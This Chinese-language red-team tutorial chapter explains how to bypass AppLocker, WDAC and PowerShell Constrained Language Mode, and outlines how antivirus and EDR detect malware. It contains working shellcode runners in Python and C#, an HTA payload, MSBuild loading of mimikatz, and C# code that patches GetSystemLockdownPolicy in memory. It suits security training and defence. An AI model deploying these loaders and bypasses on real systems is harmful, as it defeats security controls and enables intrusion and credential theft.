# 章节15：安全控制突破与防御规避



# 应用程序白名单

无论是试图获得初始 Beacon 会话，还是对目标用户与主机进行后渗透操作，应用程序白名单作为一项安全控制机制，会阻止我们的行动。接下来，我们来探讨 AppLocker 的概念，与其绕过技术。

#####   


### **AppLocker**

AppLocker 是 Microsoft 的应用程序白名单技术，自 Windows 7 开始引入。AppLocker 可以限制允许在系统上运行的**可执行文件**、**脚本**、**安装包**、**打包程序**以及 **dll**，并且可以配置**启用**或**仅审计**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/xa6VTViWr7NHj04W-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/xa6VTViWr7NHj04W-image.png)

如果一个类别被启用了，那么该类别的规则会被适用，每个类别都有各自的默认规则。默认规则下对于 exe 文件而言，任何在 **Program Files**文件夹下的可执行文件不受影响，**Windows** 文件夹下的可执行文件不受影响，以及**管理员用户 (提升特权)**不受影响。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/6hljIgHzjF2wUw9Z-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/6hljIgHzjF2wUw9Z-image.png)

此外，我们还可以添加**自定义规则**，以及**基于拒绝**的规则，也就是不允许特定应用被执行。基于拒绝的规则可用于覆盖基于允许的规则，这些规则通常用于阻止 **LOLBAS**，例如 **MSBuild.exe**。

我们在 File01 上查看现有的 exe 规则：

```powershell
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe\
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/tUNbL58iYbob0rDB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/tUNbL58iYbob0rDB-image.png)

以及现有的脚本规则：

```powershell
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Script\
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/ylLG8VCZOJsJafhy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/ylLG8VCZOJsJafhy-image.png)

### **绕过AppLocker**

##### **利用脆弱规则**

如果管理员采用了默认的 AppLocker 规则，那么我们可以轻易地绕过 AppLocker。对于可执行文件的分类，默认规则允许 **C:\\Windows** 目录下的文件被执行。在默认的文件权限下，例如 **C:\\Windows\\Tasks**，**C:\\Windows\\Temp** 目录是所有用户可写的。更加完整的列表如下：

```
c:\windows\system32\microsoft\crypto\rsa\machinekeys
c:\windows\system32\tasks_migrated\microsoft\windows\pla\system
c:\windows\syswow64\tasks\microsoft\windows\pla\system
c:\windows\debug\wia
c:\windows\system32\tasks
c:\windows\syswow64\tasks
c:\windows\tasks
c:\windows\registration\crmlog
c:\windows\system32\com\dmp
c:\windows\system32\fxstmp
c:\windows\system32\spool\drivers\color
c:\windows\system32\spool\printers
c:\windows\system32\spool\servers
c:\windows\syswow64\com\dmp
c:\windows\syswow64\fxstmp
c:\windows\temp
c:\windows\tracing
```

将计算器程序复制到用户目录下，用户目录不在默认规则的白名单中，因此应用的执行会被 AppLocker 阻止。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/NtwXM6NbRLPhHoKA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/NtwXM6NbRLPhHoKA-image.png)

但当我们将程序复制到一可写的白名单中，便绕过了 AppLocker 的限制。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/3V3qURkyZTER0GGg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/3V3qURkyZTER0GGg-image.png)

##### **执行 DLL 载荷** 

AppLocker 中 DLL 分类在**高级**页面，因为配置基于 DLL 分类的规则需要更加仔细与慎重，否则会**影响系统性能**以及**遭遇异常**。因此，DLL 分类往往不会被配置。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/6jLm7qZXXqSKqFK1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/6jLm7qZXXqSKqFK1-image.png)

这时候，我们可以编译或生成一个 DLL 载荷，然后通过 **rundll32** 二进制来执行。下述代码是通过 DLL 来调用 **MessageBoxA** API。

```c++
#include "pch.h"
#include "windows.h"
#include "stdlib.h"
#include <stdio.h>



extern "C" __declspec(dllexport) void msg_export()
{
    MessageBoxA(NULL, "From export function", "Message", MB_OK);
}


void msg_dllmain()
{
    MessageBoxA(NULL, "From DllMain", "Message", MB_OK);
}


BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        msg_dllmain();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

导出函数 msg\_calc 可被外部调用，自然可以绕过 AppLocker。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/13zMfBv0Kaj2ZXDX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/13zMfBv0Kaj2ZXDX-image.png)

##### **第三方执行**

AppLocker 仅适用于**原生 Windows 可执行文件类型**，对于 **Python**，**Java** 等第三方脚本引擎或者高级语言执行环境，没有控制效果。例如，我们可以使用 Python 类型的后利用工具进行操作。例如 Python 工具 pypykatz 实现了 Mimikatz 中的绝大多数功能，Impacket 系列工具更是在 AD 攻击与利用中彰显强大功能。

File01 上安装了 Python 语言，并且所有用户都可以运行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/TXTkzufg5kOtrZNu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/TXTkzufg5kOtrZNu-image.png)

以下述的 Shellcode 运行器为例，Shellcode 内容为弹出 calc.exe 程序。

```python
import ctypes, struct


shellcode =     b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51"
shellcode +=    b"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52"
shellcode +=    b"\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72"
shellcode +=    b"\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0"
shellcode +=    b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
shellcode +=    b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b"
shellcode +=    b"\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
shellcode +=    b"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44"
shellcode +=    b"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
shellcode +=    b"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
shellcode +=    b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1"
shellcode +=    b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
shellcode +=    b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
shellcode +=    b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
shellcode +=    b"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
shellcode +=    b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
shellcode +=    b"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48"
shellcode +=    b"\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d"
shellcode +=    b"\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5"
shellcode +=    b"\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
shellcode +=    b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
shellcode +=    b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89"
shellcode +=    b"\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"

shellcode=bytearray(shellcode)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
```

在 File01 上以 john 用户运行该 Shellcode 运行器脚本，计算器成功弹出，整个过程并没有收到 AppLocker 影响。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/BRUYh7Lr9gbHM72B-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/BRUYh7Lr9gbHM72B-image.png)

#####   


##### **HTA**

hta 也是客户端攻击中常用的载荷类型，hta 文件的内容与 html 无异，只是默认由 **C:\\Windows\\System32\\mshta.exe** 执行。因为 mshta.exe 是微软签名的应用程序，因此不受 AppLocker 限制。我们可以将自定义的 **JScript 代码**嵌入到hta文件中，以绕过AppLocker。

能运行 calc.exe 程序的简易 hta 载荷如下：

```html
<html> 
<head> 
<script language="JScript">
	var shell = new ActiveXObject("WScript.Shell");
	var res = shell.Run("calc.exe");
</script>
</head> 
<body>
<script language="JScript">
	self.close();
</script>
</body> 
</html>
```

但我们还能获得更多的自由度。**GadgetToJScript** ([https://github.com/med0x2e/GadgetToJScript](https://github.com/med0x2e/GadgetToJScript)) 是一款能生成**序列化的 .NET gadget**，当使用 **BinaryFormatter** 从 **JS/VBS/VBA** 脚本进行反序列化时，可以触发 **.NET** 组件的加载或执行。这些 gadget 组件的输出可用于 **Office 的宏载荷**，以及我们当前讨论的 **hta 载荷**。

编辑 **TestAssembly** 项目的 **Program.cs** 文件，弹出计算器的 Shellcode 运行器参考代码如下：

```c#
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace TestAssembly{
    public class Program{

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public Program(){
            byte[] buf = new byte[] {   
            0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
            0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
            0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
            0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
            0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
            0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
            0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
            0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
            0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
            0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
            0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
            0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
            0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
            0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
            0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
            0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
            0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
            0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
            0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
            0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
            0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
            0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
            0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00};
            int size = buf.Length;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
            Marshal.Copy(buf, 0, addr, size);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}

```

编译 **GadgetToJScript** 以及 **TestAssembly**，然后运行 GadgetToJScript.exe 根据 TestAssembly.dll 以及其他选项生成 hta 载荷。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/MBS05ICMNNe7XG0R-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/MBS05ICMNNe7XG0R-image.png)

最终，我们可以通过 mshta 绕过 AppLocker 实现任意代码执行。因为在 C# 中我们可以自由调用 API，因此十分灵活。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/XyZ3s7GURVlkKqht-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/XyZ3s7GURVlkKqht-image.png)

##### **LOLBAS**

LOLBAS，即 **Live Off The Land Binaries, Scripts and Libraries** ([https://lolbas-project.github.io/](https://lolbas-project.github.io/))，是系统内置的可以为我们所用的**二进制文件**、**脚本**、**库**。LOLBAS 的优势在于，因为被微软签名，所以不会被 AppLocker 限制，用于其他方面也可以降低被检测的概率。为了突破 AppLocker，我们使用 **MSBuild.exe**。该文件用于**编译 .NET 工程文件**，但实际上还有更多用途，例如**执行 PowerShell 命令**，**注入 shellcode**，甚至**执行 PE 文件**。我们以 mimikatz.exe 为例，从 [https://gist.githubusercontent.com/xenoscr/aba102e5f83d3be26b1fe50b15f35c49/raw/04d7da8a72b00fb08e4c5bbd713a041ea2567443/Katz.Proj](https://gist.githubusercontent.com/xenoscr/aba102e5f83d3be26b1fe50b15f35c49/raw/04d7da8a72b00fb08e4c5bbd713a041ea2567443/Katz.Proj) 下载嵌入了 mimikatz.exe 的工程文件，然后用 MSBuild.exe 在 AppLocker 原本限制的文件夹下编译该工程文件，我们会发现可以成功运行 mimikatz。因为工程文件中可以插入 C# 代码，所以 MSBuild.exe 可以在AppLocker 存在的情况下也能很大程度满足我们对后利用操作的需要。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/1q143hvjYfvJF2RH-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/1q143hvjYfvJF2RH-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/vBQMPaJ2I99tkrj1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/vBQMPaJ2I99tkrj1-image.png)

其实该工程文件中的 C# 代码实现了**反射式加载** (在内存中加载非托管 DLL 甚至 EXE 文件，该话题我会之后补充)，只不过将 mimikatz.exe 程序以 Base64 字符串的形式嵌入在文件中，而不是从远程服务器上拉取，或者从磁盘中读取。


### **WDAC**

Windows Defender 应用程序控制，即 WDAC，从 Windows 10 开始引入。其作用类似于 AppLocker，但有一些关键区别，其中最重要的是微软承认 WDAC 是官方的安全边界。这意味着 WDAC 更加强大，如果发现绕过 WDAC 的方法，可以获得 CVE 编号。

WDAC 可配置的规则如下：

```
用于签署应用程序及其二进制文件的协同签名证书的属性
来自文件签名元数据的应用程序二进制文件的属性，例如原始文件名和版本，或文件的哈希值
应用程序的声誉由
启动应用程序及其二进制文件安装的进程标识（托管安装程序）
启动应用程序或文件的路径
启动应用程序或二进制文件的进程
```

从根本上绕过 WDAC 是不存在的，但我们可以寻找**配置和策略上的漏洞**，以及**对 LOLBAS 的利用**，我们可以在 [https://github.com/bohops/UltimateWDACBypassList](https://github.com/bohops/UltimateWDACBypassList) 查看可能导致 WDAC 绕过的手册。

</body></html>

# 新页面



# 约束语言模式

### **背景**

**约束语言模式**，即 CLM，是 AppLocker 中的一种，如果我们对脚本类型文件启用了 AppLocker 规则，那么在运行 PowerShell 的时候便是约束语言模式。当 CLM 被启用的话，一些脚本语言例如 Powershell 的使用会被限制，只有白名单里的脚本才不会被影响。CLM 带来最直接的影响就是限制了对 **.NET 框架**的调用、执行 **C#** 代码以及**反射**。我们可以通过如下 Powershell 命令检查 PowerShell 语言的状态：

```powershell
$ExecutionContext.SessionState.LanguageMode 
```

在 File01 上，非提升特权的 PowerShell 会话下，CLM 是启用的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/9CjxpE34cyGgkHuT-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/9CjxpE34cyGgkHuT-image.png)

CLM 大幅度限制了 PowerShell 命令的使用，如果我们想导入或者执行我们常用的脚本工具，例如 adpeas.ps1，那么我们会看到如下的报错。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/W1YNHodD6qnPe97r-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/W1YNHodD6qnPe97r-image.png)

对于 CLM 的绕过，我们依旧可以借助于**默认规则**或者**脆弱配置的自定义规则**下的白名单文件夹，从而执行白名单文件夹中的脚本，但是我们依旧不能导入模块。如图所示，我们可以在白名单文件夹 C:\\Windows\\Tasks 下运行端口扫描的脚本工具

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/uyNq80hTeEfp3AaN-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/uyNq80hTeEfp3AaN-image.png)

但导入脚本模块是不可以的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/hJ9sIgw4GAl3xzOg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/hJ9sIgw4GAl3xzOg-image.png)

接下来，我们来探讨 PowerShell CLM 的绕过。

### **自定义运行空间**

PowerShell 的功能实际上位于 **System.Management.Automation.dll** 这个托管 DLL 文件之中，而 powershell.exe 只是个用于处理输入输出的 GUI 程序。因此，我们可以通过编程手段实现自定义的 powershell 运行空间。

创建一个 C# 项目，添加 **C:\\Windows\\assembly\\GAC\_MSIL\\System.Management.Automation\\1.0.0.0\_\_31bf3856ad364e3 5\\System.Management.Automation.dll** 引用，以及 **System.Configuration.Install** 。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/oZCTXRu8dFWDH6RZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/oZCTXRu8dFWDH6RZ-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/yitdBPvaT1zQ4ocJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/yitdBPvaT1zQ4ocJ-image.png)

创建自定义 PowerShell 运行空间并执行命令的代码如下

```
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;

namespace clm
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Not in Main");
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            String cmd = "$ExecutionContext.SessionState.LanguageMode  | Out-File -FilePath C:\\windows\\tasks\\output.txt";
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();
        }
    }
}
```

这里我们要重载了 **Uninstall** 方法，为什么不是在 Main 函数里执行代码，或者重载 Install 方法呢？至于不在 Main 函数里执行，虽然这样我们突破了 CLM，但生成的 exe 本身可能也会被 AppLocker 所阻止运行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/gN7p4bHBIeeIaa2Z-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/gN7p4bHBIeeIaa2Z-image.png)

而 Install 需要管理员特权。为了能让 Uninstall 方法里的代码得以运行，我们需要利用 LOLBAS 中的 **InstallUtil.exe** 去运行该 exe。最终命令如下：

```powershell
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\public\clm.exe 
```

我们不能够给该代码提供参数，所以我们在包含命令的字符串里预定义好要执行的 powershell 脚本块。因为该过程不产生输出，我们借助文本来存储输出。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/BlIKdFTI8SHxgkSR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/BlIKdFTI8SHxgkSR-image.png)

### **补丁 GetSystemLockdownPolicy**

虽然可以通过自定义运行空间以 FullLanguage 模式执行脚本块，但并不能提供交互式的会话。通过补丁 GetSystemLockdownPolicy 可以生成交互式的 FullLanguage 模式的 PowerShell 会话。

该过程如下：

1：通过反射式加载，获得定义了 **System.Management.Automation.Alignment** 类型的组件，其中 System.Management.Automation 是 PowerShell 的根命名空间，而 **Alignment** 是定义在该命名空间的类型。

然后获得 GetSystemLockdownPolicy 方法的 MethodInfo 对象。该方法用于获取当前系统的 lockdown 策略。接着，获得该方法的句柄。

```c#
Assembly assem = typeof(System.Management.Automation.Alignment).Assembly;
MethodInfo lockdown_info = assem.GetType("System.Management.Automation.Security.SystemPolicy").GetMethod("GetSystemLockdownPolicy", System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.Static);
RuntimeMethodHandle lockdown_handle = lockdown_info.MethodHandle;
```

2：在执行前，确保静态方法 GetSystemLockdownPolicy 被 JIT 引擎所编译。

```c#
RuntimeHelpers.PrepareMethod(lockdown_handle);
```

3：获得该函数编译后的机器码的指针

```c#
IntPtr lockdown_ptr = lockdown_handle.GetFunctionPointer();
```

4：使用 VirtualProtect API 确保该函数的代码是可写的

```c#
uint oldprot;
VirtualProtect(lockdown_ptr, new UIntPtr(4), 0x40, out oldprot);
```

5：补丁函数使其返回值为 0，即 **SystemEnforcementMode.None**。字节数组里是指令 **xor rax, rax; ret** 的操作码。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/tIPrHFNE9HT0lncs-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/tIPrHFNE9HT0lncs-image.png)

```c#
var patch = new byte[] { 0x48, 0x31, 0xc0, 0xc3 };
Marshal.Copy(patch, 0, lockdown_ptr, 4);
```

6：使用 Microsoft,PowerShell.ConsoleShell 模块在当前进程中加载交互式的 PowerShell 会话

```c#
Microsoft.PowerShell.ConsoleShell.Start(System.Management.Automation.Runspaces.RunspaceConfiguration.Create(), "Banner", "Help", new string[] {"-exec", "bypass", "-nop"});
```

额外添加对文件 **C:\\Windows\\Microsoft.NET\\assembly\\GAC\_MSIL\\Microsoft.PowerShell.ConsoleHost\\v4.0\_3.0.0.0\_\_31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll** 的引用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/OU2ziZSBwPKJjveF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/OU2ziZSBwPKJjveF-image.png)

最终代码如下：

```c#
using System;
using System.Runtime.InteropServices;
using System.Runtime.CompilerServices;
using System.Reflection;

public class MainClass
{
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        public static void Main(string[] args)
        {
            Console.WriteLine("Not in Main");
        }

        public static void interactive()
        {

            Assembly assem = typeof(System.Management.Automation.Alignment).Assembly;
            MethodInfo lockdown_info = assem.GetType("System.Management.Automation.Security.SystemPolicy").GetMethod("GetSystemLockdownPolicy", System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.Static);
            RuntimeMethodHandle lockdown_handle = lockdown_info.MethodHandle;
            RuntimeHelpers.PrepareMethod(lockdown_handle);
            IntPtr lockdown_ptr = lockdown_handle.GetFunctionPointer();
            uint oldprot;
            VirtualProtect(lockdown_ptr, new UIntPtr(4), 0x40, out oldprot);
            byte [] patch = new byte[] { 0x48, 0x31, 0xc0, 0xc3 };
            Marshal.Copy(patch, 0, lockdown_ptr, 4);
            Microsoft.PowerShell.ConsoleShell.Start(System.Management.Automation.Runspaces.RunspaceConfiguration.Create(), "Banner", "Help", new string[] {"-exec", "bypass", "-nop"});
        }
}


[System.ComponentModel.RunInstaller(true)]
public class Loader : System.Configuration.Install.Installer
{

        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            base.Uninstall(savedState);

            MainClass.interactive();
        }
}


```

这样，我们最终获得了 FullLanguage 模式的交互式 PowerShell 会话。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/74q1pJk5DA1DFgDK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/74q1pJk5DA1DFgDK-image.png)

### **在 CobaltStrike 中绕过 CLM**

在 CobaltStrike 中绕过 CLM 十分直接，powerpick 命令是通过非托管 PowerShell 实现的，即不使用 powershell.exe 或者 powershell\_ise.exe，不受限制。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/ixiTIVyGEM8kQEgg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/ixiTIVyGEM8kQEgg-image.png)

# 杀毒软件与EDR原理

### **背景**  


如今，渗透测试人员和红队操作员在红队行动中面临着重大挑战，因为杀毒软件和 EDR (终端检测与响应) 等安全产品会阻止许多载荷与工具的执行。在本章节中，我们将讨论攻击者用来规避检测的一些技术。

### **恶意软件检测**

杀毒软件采用多种技术组合来检测恶意软件，这些技术包括**静态分析**、**动态分析**、**基于特征的检测**、**启发式分析**、**行为分析**以及**机器学习等**。而 EDR 则更加复杂，维度更多。

#### **杀毒软件**

##### **静态分析**

静态分析是在不实际运行代码的情况下分析恶意软件二进制代码的过程。它涉及文件指纹 (例如哈希)、字节序列模式、逆向工程、加壳检测等。

##### **动态分析**

动态分析涉及在严密监控的虚拟环境中执行程序。它使用基于程序行为的方法进行恶意软件检测，涉及对 API 调用、对注册表更改、文件读写操作、网络连接与流量的监控、对内存操作的检视等方法。

##### **基于特征的检测**

基于特征的检测依赖于识别恶意软件代码中的已知模式或特征。杀毒软件使用已知恶意软件特征的数据库来扫描文件并将其与这些模式进行比较。如果找到匹配项，该文件将被标记为恶意文件。基于签名的检测可有效对抗已知的恶意软件，但难以识别新的或未知的威胁。

##### **启发式分析**

启发式分析检查文件的特征和结构，以确定它们是否表现出通常与恶意软件相关的特征。该技术不依赖于已知的特征，因此可以检测之前未知或修改过的恶意软件。然而，启发式分析有时会导致误报，将良性文件标记为恶意文件，因为它们与恶意软件相似。

##### **行为分析**

行为分析侧重于监视文件或程序执行时的操作和活动，而不是检查文件本身。此方法可以识别恶意行为，例如**对敏感数据的未授权访问**、与已知恶意服务器的通信，或尝试禁用安全产品。行为分析可以更有效地检测以前未知的恶意软件，但在威胁已经在系统上处于活动状态之前，它可能无法识别威胁。

##### **机器学习**

机器学习涉及使用算法来分析大量数据并识别可能表明恶意软件存在的模式或趋势。通过训练机器学习模型来识别已知恶意软件的特征并适应新威胁的出现。这种方法可以提高检测率并减少误报，但它仍然可能难以应对全新或独特的威胁。

#### **EDR**

EDR 有多个部分组成：Agent、遥测、传感器。

Agent，顾名思义，是安装在终端上的应用，它控制和使用来自传感器组件的数据，执行一些基本分析以确定给定的活动或一系列事件是否与攻击者行为一致，并将遥测数据转发到主服务器，主服务器进一步分析来自所有部署在一个环境中的 Agent 的事件。如果 Agent 认为某些活动或操作可疑，它可能会以发送到 SIEM 的警报的形式记录该恶意活动，或阻止恶意操作的执行，或返回无效值来欺骗攻击者。

传感器负责收集遥测数据，而遥测指的是 Agent 或者系统产生的原数据，例如进程的创建、文件的读写、对 URL 的访问等。这些数据可被防御者用于分析行为恶意与否。该 Github 仓库([https://github.com/tsale/EDR-Telemetry](https://github.com/tsale/EDR-Telemetry)) 罗列了一些常见 EDR 所收集的遥测数据：

